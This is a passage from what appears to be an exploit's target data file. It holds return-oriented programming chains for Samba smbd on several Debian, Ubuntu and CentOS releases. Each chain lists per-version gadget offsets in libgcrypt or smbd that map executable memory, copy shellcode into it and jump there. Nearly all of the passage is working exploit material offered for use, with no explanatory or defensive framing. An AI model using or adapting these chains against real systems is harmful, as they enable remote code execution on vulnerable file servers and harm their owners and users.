<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
|
||||
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071af4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00009974">jmp eax</gadget>
|
||||
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
|
||||
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
|
||||
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x000830a4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007d79">jmp eax</gadget>
|
||||
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006933f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebx</gadget>
|
||||
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
|
||||
<gadget value ="0x00000000">junk for edi</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
|
||||
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00083024">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00004803">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
|
||||
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
|
||||
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||
4 first pops are after pop esp
|
||||
-->
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007f19">jmp eax</gadget>
|
||||
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
|
||||
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
|
||||
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x0000922c">jmp eax</gadget>
|
||||
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x0006421f">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072094">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>3.5.10-0.107.el5 on CentOS 5</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
yum list |grep libgcrypt
|
||||
libgcrypt.i386 1.4.4-5.el5 installed
|
||||
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
section is writable and executable, we'll copy the shellcode over there instead of using mmap
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
|
||||
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
|
||||
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1**</gadget>
|
||||
<gadget offset="0x0006200a">pushad ; ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
|
||||
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991ff0">mmap64@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x008c8997">jmp eax</gadget>
|
||||
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
|
||||
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for esi</gadget>
|
||||
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991904">memcpy@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0002ab2c">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c1008">mmap64@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x0009e8e4">jmp eax</gadget>
|
||||
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x001f6142">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x00277540">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c0964">memcpy@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0000dbcf">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
|
||||
<compatibility
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf86c">mmap64@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x000234e5">jmp eax</gadget>
|
||||
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
